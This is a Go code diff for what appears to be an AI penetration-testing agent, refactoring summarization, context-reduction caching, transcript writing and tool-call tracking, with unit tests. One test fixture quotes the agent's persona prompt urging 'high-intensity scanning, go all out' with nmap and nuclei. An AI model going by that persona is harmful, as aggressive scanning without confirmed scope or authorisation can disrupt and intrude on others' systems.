+	)
+	sr, err := wrap.ExecuteStreaming(ctx, &filesystem.ExecuteRequest{Command: "ping -c 10 baidu.com"})
+	if err != nil {
+		t.Fatalf("ExecuteStreaming: %v", err)
+	}
+	defer sr.Close()
+
+	var got strings.Builder
+	for {
+		resp, rerr := sr.Recv()
+		if errors.Is(rerr, io.EOF) {
+			break
+		}
+		if rerr != nil {
+			t.Fatalf("unexpected stream error: %v", rerr)
+		}
+		if resp != nil && resp.Output != "" {
+			got.WriteString(resp.Output)
+		}
+	}
+	out := got.String()
+	if strings.Count(out, "line1") != 1 || strings.Count(out, "line2") != 1 {
+		t.Fatalf("stream duplicated stdout: %q", out)
+	}
+	if !strings.Contains(out, "改成20次") {
+		t.Fatalf("stream missing abort note: %q", out)
+	}
+}
+
+type abortNoteTestRegistry struct {
+	note string
+}
+
+func (r *abortNoteTestRegistry) RegisterActiveEinoExecute(string, context.CancelFunc) {}
+func (r *abortNoteTestRegistry) UnregisterActiveEinoExecute(string)                   {}
+func (r *abortNoteTestRegistry) AbortActiveEinoExecute(string, string) bool           { return false }
+func (r *abortNoteTestRegistry) TakeEinoExecuteAbortNote(string) string               { return r.note }
+
+func TestEinoStreamingShellWrap_NonTimeoutRecvErrStillHard(t *testing.T) {
+	inner := &mockStreamingShell{recvErr: errors.New("broken pipe")}
+	wrap := &einoStreamingShellWrap{inner: inner}
+	sr, err := wrap.ExecuteStreaming(context.Background(), &filesystem.ExecuteRequest{Command: "true"})
+	if err != nil {
+		t.Fatalf("ExecuteStreaming: %v", err)
+	}
+	defer sr.Close()
+
+	_, rerr := sr.Recv()
+	if rerr == nil || errors.Is(rerr, io.EOF) {
+		t.Fatal("expected hard stream error for non-timeout failure")
+	}
+}

internal/multiagent/eino_filesystem_tool_monitor.go

@@ -96,6 +96,6 @@ func recordEinoADKFilesystemToolMonitor(
 	}
 	id := ag.RecordLocalToolExecution(storedName, args, resultText, invErr)
 	if id != "" {
-		rec(id)
+		rec(id, toolCallID)
 	}
 }

internal/multiagent/eino_middleware.go

@@ -43,22 +43,6 @@ func sanitizeEinoPathSegment(s string) string {
 	return s
 }
 
-// localPlantaskBackend wraps the eino-ext local backend with plantask.Delete (Local has no Delete).
-type localPlantaskBackend struct {
-	*localbk.Local
-}
-
-func (l *localPlantaskBackend) Delete(ctx context.Context, req *plantask.DeleteRequest) error {
-	if l == nil || l.Local == nil || req == nil {
-		return nil
-	}
-	p := strings.TrimSpace(req.FilePath)
-	if p == "" {
-		return nil
-	}
-	return os.Remove(p)
-}
-
 func splitToolsForToolSearch(all []tool.BaseTool, alwaysVisible int) (static []tool.BaseTool, dynamic []tool.BaseTool, ok bool) {
 	if alwaysVisible <= 0 || len(all) <= alwaysVisible+1 {
 		return all, nil, false
@@ -67,14 +51,7 @@ func splitToolsForToolSearch(all []tool.BaseTool, alwaysVisible int) (static []t
 }
 
 func splitToolsForToolSearchByNames(all []tool.BaseTool, names []string, fallbackAlwaysVisible int) (static []tool.BaseTool, dynamic []tool.BaseTool, ok bool) {
-	nameSet := make(map[string]struct{}, len(names))
+	nameSet := expandAlwaysVisibleNameSet(names)
-	for _, n := range names {
-		n = strings.TrimSpace(strings.ToLower(n))
-		if n == "" {
-			continue
-		}
-		nameSet[n] = struct{}{}
-	}
 	if len(nameSet) == 0 {
 		return splitToolsForToolSearch(all, fallbackAlwaysVisible)
 	}
@@ -87,9 +64,9 @@ func splitToolsForToolSearchByNames(all []tool.BaseTool, names []string, fallbac
 		info, err := t.Info(context.Background())
 		name := ""
 		if err == nil && info != nil {
-			name = strings.TrimSpace(strings.ToLower(info.Name))
+			name = info.Name
 		}
-		if _, keep := nameSet[name]; keep {
+		if toolMatchesAlwaysVisible(name, nameSet) {
 			static = append(static, t)
 			continue
 		}
@@ -126,14 +103,26 @@ func mergeAlwaysVisibleToolNames(configured []string) []string {
 	return merged
 }
 
-func buildReductionMiddleware(ctx context.Context, mw config.MultiAgentEinoMiddlewareConfig, convID string, loc *localbk.Local, logger *zap.Logger) (adk.ChatModelAgentMiddleware, error) {
+func reductionCacheRootDir(configuredBase, projectID, conversationID string) string {
+	base := strings.TrimSpace(configuredBase)
+	if base == "" {
+		base = filepath.Join("tmp", "reduction")
+	}
+	if pid := strings.TrimSpace(projectID); pid != "" {
+		return filepath.Join(base, "projects", sanitizeEinoPathSegment(pid))
+	}
+	conv := strings.TrimSpace(conversationID)
+	if conv == "" {
+		conv = "default"
+	}
+	return filepath.Join(base, "conversations", sanitizeEinoPathSegment(conv))
+}
+
+func buildReductionMiddleware(ctx context.Context, mw config.MultiAgentEinoMiddlewareConfig, projectID, convID string, loc *localbk.Local, logger *zap.Logger) (adk.ChatModelAgentMiddleware, error) {
 	if loc == nil {
 		return nil, fmt.Errorf("reduction: local backend nil")
 	}
-	root := strings.TrimSpace(mw.ReductionRootDir)
+	root := reductionCacheRootDir(mw.ReductionRootDir, projectID, convID)
-	if root == "" {
-		root = filepath.Join(os.TempDir(), "cyberstrike-reduction", sanitizeEinoPathSegment(convID))
-	}
 	if err := os.MkdirAll(root, 0o755); err != nil {
 		return nil, fmt.Errorf("reduction root: %w", err)
 	}
@@ -171,6 +160,7 @@ func prependEinoMiddlewares(
 	einoLoc *localbk.Local,
 	skillsRoot string,
 	conversationID string,
+	projectID string,
 	logger *zap.Logger,
 ) (outTools []tool.BaseTool, extraHandlers []adk.ChatModelAgentMiddleware, toolSearchActive bool, err error) {
 	if mw == nil {
@@ -190,7 +180,7 @@ func prependEinoMiddlewares(
 		if place == einoMWSub && !mw.ReductionSubAgents {
 			// skip
 		} else {
-			redMW, rerr := buildReductionMiddleware(ctx, *mw, conversationID, einoLoc, logger)
+			redMW, rerr := buildReductionMiddleware(ctx, *mw, projectID, conversationID, einoLoc, logger)
 			if rerr != nil {
 				return nil, nil, false, rerr
 			}
@@ -238,7 +228,7 @@ func prependEinoMiddlewares(
 			if mk := os.MkdirAll(baseDir, 0o755); mk != nil {
 				return nil, nil, toolSearchActive, fmt.Errorf("plantask mkdir: %w", mk)
 			}
-			ptBE := &localPlantaskBackend{Local: einoLoc}
+			ptBE := newLocalPlantaskBackend(einoLoc)
 			pt, perr := plantask.New(ctx, &plantask.Config{Backend: ptBE, BaseDir: baseDir})
 			if perr != nil {
 				return nil, nil, toolSearchActive, fmt.Errorf("plantask: %w", perr)
@@ -253,17 +243,14 @@ func prependEinoMiddlewares(
 	return outTools, extraHandlers, toolSearchActive, nil
 }
 
-func deepExtrasFromConfig(ma *config.MultiAgentConfig) (outputKey string, retry *adk.ModelRetryConfig, taskDesc func(context.Context, []adk.Agent) (string, error)) {
+func deepExtrasFromConfig(ma *config.MultiAgentConfig) (outputKey string, taskDesc func(context.Context, []adk.Agent) (string, error)) {
 	if ma == nil {
-		return "", nil, nil
+		return "", nil
 	}
 	mw := ma.EinoMiddleware
 	if k := strings.TrimSpace(mw.DeepOutputKey); k != "" {
 		outputKey = k
 	}
-	if mw.DeepModelRetryMaxRetries > 0 {
-		retry = &adk.ModelRetryConfig{MaxRetries: mw.DeepModelRetryMaxRetries}
-	}
 	prefix := strings.TrimSpace(mw.TaskToolDescriptionPrefix)
 	if prefix != "" {
 		taskDesc = func(ctx context.Context, agents []adk.Agent) (string, error) {
@@ -284,5 +271,5 @@ func deepExtrasFromConfig(ma *config.MultiAgentConfig) (outputKey string, retry
 			return prefix + "\n可用子代理（按名称 transfer / task 调用）：" + strings.Join(names, "、"), nil
 		}
 	}
-	return outputKey, retry, taskDesc
+	return outputKey, taskDesc
 }

internal/multiagent/eino_middleware_test.go

@@ -3,12 +3,31 @@ package multiagent
 import (
 	"context"
 	"fmt"
+	"path/filepath"
+	"strings"
 	"testing"
 
 	"github.com/cloudwego/eino/components/tool"
 	"github.com/cloudwego/eino/schema"
 )
 
+func TestReductionCacheRootDir(t *testing.T) {
+	got := reductionCacheRootDir("", "proj-1", "conv-1")
+	want := filepath.Join("tmp", "reduction", "projects", "proj-1")
+	if got != want {
+		t.Fatalf("project scope: got %q want %q", got, want)
+	}
+	got = reductionCacheRootDir("", "", "conv-abc")
+	want = filepath.Join("tmp", "reduction", "conversations", "conv-abc")
+	if got != want {
+		t.Fatalf("conversation scope: got %q want %q", got, want)
+	}
+	custom := reductionCacheRootDir("/data/cache", "p1", "c1")
+	if !strings.HasSuffix(custom, filepath.Join("projects", "p1")) {
+		t.Fatalf("custom base should still scope by project, got %q", custom)
+	}
+}
+
 type stubTool struct{ name string }
 
 func (s stubTool) Info(_ context.Context) (*schema.ToolInfo, error) {

internal/multiagent/eino_orchestration.go

@@ -7,6 +7,7 @@ import (
 
 	"cyberstrike-ai/internal/agent"
 	"cyberstrike-ai/internal/config"
+	"cyberstrike-ai/internal/database"
 
 	"github.com/cloudwego/eino-ext/components/model/openai"
 	"github.com/cloudwego/eino/adk"
@@ -29,7 +30,9 @@ type PlanExecuteRootArgs struct {
 	MwCfg  *config.MultiAgentEinoMiddlewareConfig
 	// ConversationID is used for transcript/isolation paths in middleware.
 	ConversationID string
-	Logger *zap.Logger
+	DB             *database.DB
+	ProjectID      string
+	Logger         *zap.Logger
 	// ModelName is used for model input token estimation logs.
 	ModelName string
 	// ExecPreMiddlewares 是由 prependEinoMiddlewares 构建的前置中间件（patchtoolcalls, reduction, toolsearch, plantask），
@@ -91,24 +94,20 @@ func NewPlanExecuteRoot(ctx context.Context, a *PlanExecuteRootArgs) (adk.Resuma
 	if a.SkillMiddleware != nil {
 		execHandlers = append(execHandlers, a.SkillMiddleware)
 	}
-	// 4. summarization（最后，与 Deep/Supervisor 一致）
+	// 4. pre-summarization normalize + continuation dedup, then summarization (与 Deep/Supervisor 一致)
 	if a.AppCfg != nil {
-		sumMw, sumErr := newEinoSummarizationMiddleware(ctx, a.ExecModel, a.AppCfg, a.MwCfg, a.ConversationID, a.Logger)
+		sumMw, sumErr := newEinoSummarizationMiddleware(ctx, a.ExecModel, a.AppCfg, a.MwCfg, a.ConversationID, a.DB, a.ProjectID, a.Logger)
 		if sumErr != nil {
 			return nil, fmt.Errorf("plan_execute executor summarization: %w", sumErr)
 		}
-		execHandlers = append(execHandlers, sumMw)
+		execHandlers = appendEinoChatModelTailMiddlewares(execHandlers, einoChatModelTailConfig{
-	}
+			logger:         a.Logger,
-	// 5. 孤儿 tool 消息兜底：必须挂在所有改写历史中间件（summarization/reduction/skill）之后、
+			phase:          "plan_execute_executor",
-	//    telemetry 之前，保证送入 ChatModel 的消息序列 tool_call ↔ tool_result 配对完整。
+			summarization:  sumMw,
-	execHandlers = append(execHandlers, newOrphanToolPrunerMiddleware(a.Logger, "plan_execute_executor"))
+			modelName:      a.ModelName,
-	if teleMw := newEinoModelInputTelemetryMiddleware(a.Logger, a.ModelName, a.ConversationID, "plan_execute_executor"); teleMw != nil {
+			conversationID: a.ConversationID,
-		execHandlers = append(execHandlers, teleMw)
+			trace:          a.ModelFacingTrace,
-	}
+		})
-	if a.ModelFacingTrace != nil {
-		if capMw := newModelFacingTraceMiddleware(a.ModelFacingTrace); capMw != nil {
-			execHandlers = append(execHandlers, capMw)
-		}
 	}
 	executor, err := newPlanExecuteExecutor(ctx, &planexecute.ExecutorConfig{
 		Model:         a.ExecModel,

internal/multiagent/eino_single_runner.go

@@ -11,6 +11,7 @@ import (
 
 	"cyberstrike-ai/internal/agent"
 	"cyberstrike-ai/internal/config"
+	"cyberstrike-ai/internal/database"
 	"cyberstrike-ai/internal/einomcp"
 	"cyberstrike-ai/internal/openai"
 	"cyberstrike-ai/internal/project"
@@ -32,8 +33,10 @@ func RunEinoSingleChatModelAgent(
 	appCfg *config.Config,
 	ma *config.MultiAgentConfig,
 	ag *agent.Agent,
+	db *database.DB,
 	logger *zap.Logger,
 	conversationID string,
+	projectID string,
 	userMessage string,
 	history []agent.ChatMessage,
 	roleTools []string,
@@ -58,10 +61,12 @@ func RunEinoSingleChatModelAgent(
 
 	var mcpIDsMu sync.Mutex
 	var mcpIDs []string
-	recorder := func(id string) {
+	mcpExecBinder := NewMCPExecutionBinder()
+	recorder := func(id, toolCallID string) {
 		if id == "" {
 			return
 		}
+		mcpExecBinder.Bind(toolCallID, id)
 		mcpIDsMu.Lock()
 		mcpIDs = append(mcpIDs, id)
 		mcpIDsMu.Unlock()
@@ -75,29 +80,15 @@ func RunEinoSingleChatModelAgent(
 		return out
 	}
 
-	toolOutputChunk := func(toolName, toolCallID, chunk string) {
-		if progress == nil || toolCallID == "" {
-			return
-		}
-		progress("tool_result_delta", chunk, map[string]interface{}{
-			"toolName":   toolName,
-			"toolCallId": toolCallID,
-			"index":      0,
-			"total":      0,
-			"iteration":  0,
-			"source":     "eino",
-		})
-	}
-
 	toolInvokeNotify := einomcp.NewToolInvokeNotifyHolder()
 	einoExecMonitor := newEinoExecuteMonitorCallback(ag, recorder)
 	mainDefs := ag.ToolsForRole(roleTools)
-	mainTools, err := einomcp.ToolsFromDefinitions(ag, holder, mainDefs, recorder, toolOutputChunk, toolInvokeNotify, einoSingleAgentName)
+	mainTools, err := einomcp.ToolsFromDefinitions(ag, holder, mainDefs, recorder, nil, toolInvokeNotify, einoSingleAgentName)
 	if err != nil {
 		return nil, err
 	}
 
-	mainToolsForCfg, mainOrchestratorPre, singleToolSearchActive, err := prependEinoMiddlewares(ctx, &ma.EinoMiddleware, einoMWMain, mainTools, einoLoc, skillsRoot, conversationID, logger)
+	mainToolsForCfg, mainOrchestratorPre, singleToolSearchActive, err := prependEinoMiddlewares(ctx, &ma.EinoMiddleware, einoMWMain, mainTools, einoLoc, skillsRoot, conversationID, projectID, logger)
 	if err != nil {
 		return nil, fmt.Errorf("eino single eino 中间件: %w", err)
 	}
@@ -132,7 +123,7 @@ func RunEinoSingleChatModelAgent(
 		return nil, fmt.Errorf("eino single 模型: %w", err)
 	}
 
-	mainSumMw, err := newEinoSummarizationMiddleware(ctx, mainModel, appCfg, &ma.EinoMiddleware, conversationID, logger)
+	mainSumMw, err := newEinoSummarizationMiddleware(ctx, mainModel, appCfg, &ma.EinoMiddleware, conversationID, db, projectID, logger)
 	if err != nil {
 		return nil, fmt.Errorf("eino single summarization: %w", err)
 	}
@@ -145,7 +136,7 @@ func RunEinoSingleChatModelAgent(
 	}
 	if einoSkillMW != nil {
 		if einoFSTools && einoLoc != nil {
-			fsMw, fsErr := subAgentFilesystemMiddleware(ctx, einoLoc, toolInvokeNotify, einoSingleAgentName, einoExecMonitor, agentToolTimeoutMinutes(appCfg), toolOutputChunk)
+			fsMw, fsErr := subAgentFilesystemMiddleware(ctx, einoLoc, toolInvokeNotify, einoSingleAgentName, einoExecMonitor, agentToolTimeoutMinutes(appCfg), nil)
 			if fsErr != nil {
 				return nil, fmt.Errorf("eino single filesystem 中间件: %w", fsErr)
 			}
@@ -153,13 +144,14 @@ func RunEinoSingleChatModelAgent(
 		}
 		handlers = append(handlers, einoSkillMW)
 	}
-	handlers = append(handlers, mainSumMw)
+	handlers = appendEinoChatModelTailMiddlewares(handlers, einoChatModelTailConfig{
-	if teleMw := newEinoModelInputTelemetryMiddleware(logger, appCfg.OpenAI.Model, conversationID, "eino_single"); teleMw != nil {
+		logger:         logger,
-		handlers = append(handlers, teleMw)
+		phase:          "eino_single",
-	}
+		summarization:  mainSumMw,
-	if capMw := newModelFacingTraceMiddleware(modelFacingTrace); capMw != nil {
+		modelName:      appCfg.OpenAI.Model,
-		handlers = append(handlers, capMw)
+		conversationID: conversationID,
-	}
+		trace:          modelFacingTrace,
+	})
 
 	maxIter := agentMaxIterations(appCfg)
 
@@ -197,13 +189,10 @@ func RunEinoSingleChatModelAgent(
 		MaxIterations: maxIter,
 		Handlers:      handlers,
 	}
-	outKey, modelRetry, _ := deepExtrasFromConfig(ma)
+	outKey, _ := deepExtrasFromConfig(ma)
 	if outKey != "" {
 		chatCfg.OutputKey = outKey
 	}
-	if modelRetry != nil {
-		chatCfg.ModelRetryConfig = modelRetry
-	}
 
 	chatAgent, err := adk.NewChatModelAgent(ctx, chatCfg)
 	if err != nil {
@@ -237,6 +226,7 @@ func RunEinoSingleChatModelAgent(
 		McpIDs:                  &mcpIDs,
 		FilesystemMonitorAgent:  ag,
 		FilesystemMonitorRecord: recorder,
+		MCPExecutionBinder:      mcpExecBinder,
 		ToolInvokeNotify:        toolInvokeNotify,
 		DA:                      chatAgent,
 		ModelFacingTrace:        modelFacingTrace,

internal/multiagent/eino_skills.go

@@ -81,7 +81,7 @@ func subAgentFilesystemMiddleware(
 	loc *localbk.Local,
 	invokeNotify *einomcp.ToolInvokeNotifyHolder,
 	einoAgentName string,
-	recordMonitor func(command, stdout string, success bool, invokeErr error),
+	recordMonitor func(toolCallID, command, stdout string, success bool, invokeErr error),
 	toolTimeoutMinutes int,
 	outputChunk func(toolName, toolCallID, chunk string),
 ) (adk.ChatModelAgentMiddleware, error) {

internal/multiagent/eino_summarize.go

@@ -9,7 +9,9 @@ import (
 
 	"cyberstrike-ai/internal/agent"
 	"cyberstrike-ai/internal/config"
+	"cyberstrike-ai/internal/database"
 	copenai "cyberstrike-ai/internal/openai"
+	"cyberstrike-ai/internal/project"
 
 	"github.com/bytedance/sonic"
 	"github.com/cloudwego/eino/adk"
@@ -20,8 +22,6 @@ import (
 	"go.uber.org/zap"
 )
 
-const defaultSummarizationRetryMax = 3
-
 // einoSummarizeUserInstruction：压缩历史时保留渗透测试关键信息。
 const einoSummarizeUserInstruction = `在保持所有关键安全测试信息完整的前提下压缩对话历史。
 
@@ -40,6 +40,8 @@ func newEinoSummarizationMiddleware(
 	appCfg *config.Config,
 	mwCfg *config.MultiAgentEinoMiddlewareConfig,
 	conversationID string,
+	db *database.DB,
+	projectID string,
 	logger *zap.Logger,
 ) (adk.ChatModelAgentMiddleware, error) {
 	if summaryModel == nil || appCfg == nil {
@@ -93,10 +95,8 @@ func newEinoSummarizationMiddleware(
 		}
 	}
 
-	retryMax := defaultSummarizationRetryMax
+	retryPolicy := einoTransientRunRetryPolicyFromMW(mwCfg)
-	if mwCfg != nil && mwCfg.SummarizationRetryMaxAttempts > 0 {
+	retryMax := retryPolicy.maxAttempts
-		retryMax = mwCfg.SummarizationRetryMaxAttempts
-	}
 
 	// ModelOptions apply only to summarization Generate (same ChatModel instance as the agent).
 	// Strip thinking/reasoning on this call path; mark requests for empty-choices diagnostics.
@@ -133,33 +133,48 @@ func newEinoSummarizationMiddleware(
 		Retry: &summarization.RetryConfig{
 			MaxRetries: &retryMax,
 			ShouldRetry: func(_ context.Context, _ adk.Message, err error) bool {
-				if err != nil && logger != nil {
+				retry := isEinoTransientRunError(err)
-					logger.Warn("eino summarization generate attempt failed, will retry if attempts remain",
+				if retry && logger != nil {
+					logger.Warn("eino summarization generate transient error, will retry if attempts remain",
 						zap.Error(err),
 						zap.Int("max_retries", retryMax),
 					)
 				}
-				return err != nil
+				return retry
 			},
 		},
 		Finalize: func(ctx context.Context, originalMessages []adk.Message, summary adk.Message) ([]adk.Message, error) {
-			return summarizeFinalizeWithRecentAssistantToolTrail(ctx, originalMessages, summary, tokenCounter, recentTrailMax)
+			out, ferr := summarizeFinalizeWithRecentAssistantToolTrail(ctx, originalMessages, summary, tokenCounter, recentTrailMax)
+			if ferr != nil {
+				return nil, ferr
+			}
+			if appCfg != nil {
+				out = refreshFactIndexInMessages(out, db, projectID, appCfg.Project, logger)
+			}
+			return out, nil
 		},
 		Callback: func(ctx context.Context, before, after adk.ChatModelAgentState) error {
-			if logger == nil {
+			if transcriptPath != "" && len(before.Messages) > 0 {
-				return nil
+				if werr := writeSummarizationTranscript(transcriptPath, before.Messages); werr != nil && logger != nil {
+					logger.Warn("eino summarization transcript 写入失败",
+						zap.String("path", transcriptPath),
+						zap.Error(werr),
+					)
+				}
+			}
+			if logger != nil {
+				beforeTokens, _ := tokenCounter(ctx, &summarization.TokenCounterInput{Messages: before.Messages})
+				afterTokens, _ := tokenCounter(ctx, &summarization.TokenCounterInput{Messages: after.Messages})
+				logger.Info("eino summarization 已压缩上下文",
+					zap.Int("messages_before", len(before.Messages)),
+					zap.Int("messages_after", len(after.Messages)),
+					zap.Int("tokens_before_estimated", beforeTokens),
+					zap.Int("tokens_after_estimated", afterTokens),
+					zap.Int("max_total_tokens", maxTotal),
+					zap.Int("trigger_context_tokens", trigger),
+					zap.String("transcript_file", transcriptPath),
+				)
 			}
-			beforeTokens, _ := tokenCounter(ctx, &summarization.TokenCounterInput{Messages: before.Messages})
-			afterTokens, _ := tokenCounter(ctx, &summarization.TokenCounterInput{Messages: after.Messages})
-			logger.Info("eino summarization 已压缩上下文",
-				zap.Int("messages_before", len(before.Messages)),
-				zap.Int("messages_after", len(after.Messages)),
-				zap.Int("tokens_before_estimated", beforeTokens),
-				zap.Int("tokens_after_estimated", afterTokens),
-				zap.Int("max_total_tokens", maxTotal),
-				zap.Int("trigger_context_tokens", trigger),
-				zap.String("transcript_file", transcriptPath),
-			)
 			return nil
 		},
 	})
@@ -169,6 +184,50 @@ func newEinoSummarizationMiddleware(
 	return mw, nil
 }
 
+// refreshFactIndexInMessages 在 summarization 压缩后，用 DB 最新索引替换 system 中已有的项目黑板索引段。
+func refreshFactIndexInMessages(msgs []adk.Message, db *database.DB, projectID string, cfg config.ProjectConfig, logger *zap.Logger) []adk.Message {
+	if db == nil || !cfg.Enabled {
+		return msgs
+	}
+	projectID = strings.TrimSpace(projectID)
+	if projectID == "" {
+		return msgs
+	}
+	freshIndex, err := project.BuildFactIndexBlock(db, projectID, cfg)
+	if err != nil {
+		if logger != nil {
+			logger.Warn("summarization: 刷新项目黑板索引失败", zap.String("projectId", projectID), zap.Error(err))
+		}
+		return msgs
+	}
+	freshIndex = strings.TrimSpace(freshIndex)
+	if freshIndex == "" {
+		return msgs
+	}
+
+	changed := false
+	out := make([]adk.Message, len(msgs))
+	for i, msg := range msgs {
+		if msg == nil || msg.Role != schema.System {
+			out[i] = msg
+			continue
+		}
+		newContent, ok := project.ReplaceFactIndexSection(msg.Content, freshIndex)
+		if !ok {
+			out[i] = msg
+			continue
+		}
+		cloned := *msg
+		cloned.Content = newContent
+		out[i] = &cloned
+		changed = true
+	}
+	if changed && logger != nil {
+		logger.Info("summarization: 已刷新项目黑板索引", zap.String("projectId", projectID))
+	}
+	return out
+}
+
 // summarizeFinalizeWithRecentAssistantToolTrail 在摘要消息后保留最近 assistant/tool 轨迹，避免压缩后执行链断裂。
 //
 // 关键不变量：tool_call ↔ tool_result 的 pair 必须整体保留或整体丢弃。
@@ -198,17 +257,19 @@ func summarizeFinalizeWithRecentAssistantToolTrail(
 		nonSystem = append(nonSystem, msg)
 	}
 
+	mergedSystem := mergeCollectedSystemMessages(systemMsgs)
+
 	if recentTrailTokenBudget <= 0 || len(nonSystem) == 0 {
-		out := make([]adk.Message, 0, len(systemMsgs)+1)
+		out := make([]adk.Message, 0, len(mergedSystem)+1)
-		out = append(out, systemMsgs...)
+		out = append(out, mergedSystem...)
 		out = append(out, summary)
 		return out, nil
 	}
 
 	rounds := splitMessagesIntoRounds(nonSystem)
 	if len(rounds) == 0 {
-		out := make([]adk.Message, 0, len(systemMsgs)+1)
+		out := make([]adk.Message, 0, len(mergedSystem)+1)
-		out = append(out, systemMsgs...)
+		out = append(out, mergedSystem...)
 		out = append(out, summary)
 		return out, nil
 	}
@@ -260,8 +321,8 @@ func summarizeFinalizeWithRecentAssistantToolTrail(
 		selectedMsgs = append(selectedMsgs, selectedRoundsReverse[i].messages...)
 	}
 
-	out := make([]adk.Message, 0, len(systemMsgs)+1+len(selectedMsgs))
+	out := make([]adk.Message, 0, len(mergedSystem)+1+len(selectedMsgs))
-	out = append(out, systemMsgs...)
+	out = append(out, mergedSystem...)
 	out = append(out, summary)
 	out = append(out, selectedMsgs...)
 	return out, nil
@@ -335,6 +396,23 @@ func splitMessagesIntoRounds(msgs []adk.Message) []messageRound {
 	return rounds
 }
 
+// writeSummarizationTranscript persists pre-compaction history for read_file after summarization.
+// Eino TranscriptFilePath only embeds the path in summary text; the file must be written by the host app.
+func writeSummarizationTranscript(path string, msgs []adk.Message) error {
+	path = strings.TrimSpace(path)
+	if path == "" {
+		return nil
+	}
+	body := formatSummarizationTranscript(msgs)
+	if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil {
+		return fmt.Errorf("mkdir transcript dir: %w", err)
+	}
+	if err := os.WriteFile(path, []byte(body), 0o600); err != nil {
+		return fmt.Errorf("write transcript: %w", err)
+	}
+	return nil
+}
+
 func einoSummarizationTokenCounter(openAIModel string) summarization.TokenCounterFunc {
 	tc := agent.NewTikTokenCounter()
 	return func(ctx context.Context, input *summarization.TokenCounterInput) (int, error) {

internal/multiagent/eino_summarize_test.go

@@ -2,11 +2,19 @@ package multiagent
 
 import (
 	"context"
+	"os"
+	"path/filepath"
+	"strings"
 	"testing"
 
+	"cyberstrike-ai/internal/config"
+	"cyberstrike-ai/internal/database"
+	"cyberstrike-ai/internal/project"
+
 	"github.com/cloudwego/eino/adk"
 	"github.com/cloudwego/eino/adk/middlewares/summarization"
 	"github.com/cloudwego/eino/schema"
+	"go.uber.org/zap"
 )
 
 // fixedTokenCounter 让 tool 消息按 tokensPerToolMessage 计，其它消息按 1 计。
@@ -184,8 +192,8 @@ func TestSummarizeFinalize_KeepsToolRoundIntact(t *testing.T) {
 	if len(out) < 2 {
 		t.Fatalf("output too short: %d", len(out))
 	}
-	if out[0] != sys {
+	if out[0].Role != schema.System || out[0].Content != "sys" {
-		t.Fatalf("first message must be system")
+		t.Fatalf("first message must be system sys, got %s: %q", out[0].Role, out[0].Content)
 	}
 	if out[1] != summary {
 		t.Fatalf("second message must be summary")
@@ -285,12 +293,12 @@ func TestSummarizeFinalize_BudgetZeroFallsBackToSummaryOnly(t *testing.T) {
 	if err != nil {
 		t.Fatalf("unexpected error: %v", err)
 	}
-	if len(out) != 2 || out[0] != sys || out[1] != summary {
+	if len(out) != 2 || out[0].Role != schema.System || out[0].Content != "sys" || out[1] != summary {
 		t.Fatalf("budget=0 must yield [system, summary] only, got %+v", out)
 	}
 }
 
-func TestSummarizeFinalize_PreservesAllSystemMessages(t *testing.T) {
+func TestSummarizeFinalize_MergesSystemMessages(t *testing.T) {
 	sys1 := schema.SystemMessage("sys1")
 	sys2 := schema.SystemMessage("sys2")
 	summary := schema.AssistantMessage("s", nil)
@@ -313,10 +321,13 @@ func TestSummarizeFinalize_PreservesAllSystemMessages(t *testing.T) {
 	for _, m := range out {
 		if m != nil && m.Role == schema.System {
 			systemCount++
+			if got := m.Content; got != "sys1\n\nsys2" {
+				t.Fatalf("unexpected merged system content: %q", got)
+			}
 		}
 	}
-	if systemCount != 2 {
+	if systemCount != 1 {
-		t.Fatalf("want 2 system messages retained, got %d", systemCount)
+		t.Fatalf("want 1 merged system message, got %d", systemCount)
 	}
 }
 
@@ -343,3 +354,147 @@ func assertNoOrphanTool(t *testing.T, msgs []adk.Message) {
 		}
 	}
 }
+
+func TestWriteSummarizationTranscript(t *testing.T) {
+	t.Parallel()
+	dir := t.TempDir()
+	path := filepath.Join(dir, "summarization", "transcript.txt")
+	msgs := []adk.Message{
+		schema.UserMessage("scan target"),
+		assistantToolCallsMsg("", "tc1"),
+		schema.ToolMessage("nmap output", "tc1"),
+	}
+	if err := writeSummarizationTranscript(path, msgs); err != nil {
+		t.Fatalf("writeSummarizationTranscript: %v", err)
+	}
+	body, err := os.ReadFile(path)
+	if err != nil {
+		t.Fatalf("read transcript: %v", err)
+	}
+	text := string(body)
+	if !strings.Contains(text, "Pre-compaction session record") {
+		t.Fatalf("missing transcript header: %q", text)
+	}
+	if !strings.Contains(text, "[user]") || !strings.Contains(text, "scan target") {
+		t.Fatalf("missing user section: %q", text)
+	}
+	if !strings.Contains(text, "tool_calls:") || !strings.Contains(text, "nmap output") {
+		t.Fatalf("missing tool round: %q", text)
+	}
+	if !strings.Contains(text, `"name":"stub_tool"`) || !strings.Contains(text, `"arguments":"{}"`) {
+		t.Fatalf("missing tool name/arguments: %q", text)
+	}
+	if strings.Contains(text, "tool_call_id") || strings.Contains(text, `"id":"tc1"`) {
+		t.Fatalf("transcript should omit tool_call_id: %q", text)
+	}
+}
+
+func TestSanitizeSystemContentForTranscript_BestPractice(t *testing.T) {
+	t.Parallel()
+	system := strings.Join([]string{
+		"以下是当前会话绑定的工具名称索引（仅名称，无参数 JSON Schema）。",
+		"- nmap",
+		"- nuclei",
+		"",
+		"使用规则：",
+		"1) 上表仅为名称索引",
+		"5) 不要臆造不存在的工具名。",
+		"",
+		"你是CyberStrikeAI，是一个专业的网络安全渗透测试专家。",
+		"高强度扫描要求：全力出击",
+		"",
+		project.FactIndexSectionStartMarker,
+		"## 项目黑板索引（project: 123, id: abc）",
+		"（暂无事实）",
+		"需要写入请使用 upsert_project_fact。",
+		project.FactIndexSectionEndMarker,
+		"",
+		"# Skills System",
+		"**How to Use Skills**",
+		"Remember: Skills make you more capable",
+	}, "\n")
+
+	out := sanitizeSystemContentForTranscript(system)
+	if strings.Contains(out, "以下是当前会话绑定的工具名称索引") {
+		t.Fatalf("tool index should be stripped: %q", out)
+	}
+	if strings.Contains(out, "- nmap") || strings.Contains(out, "高强度扫描要求") {
+		t.Fatalf("static persona should be stripped: %q", out)
+	}
+	if strings.Contains(out, "# Skills System") || strings.Contains(out, "How to Use Skills") {
+		t.Fatalf("skills boilerplate should be stripped: %q", out)
+	}
+	if !strings.Contains(out, transcriptStaticSystemOmitNote) {
+		t.Fatalf("missing omission note: %q", out)
+	}
+	if !strings.Contains(out, "## 项目黑板索引（project: 123, id: abc）") {
+		t.Fatalf("project blackboard should be kept: %q", out)
+	}
+}
+
+func TestFormatSummarizationTranscript_OmitsBloatedSystem(t *testing.T) {
+	t.Parallel()
+	msgs := []adk.Message{
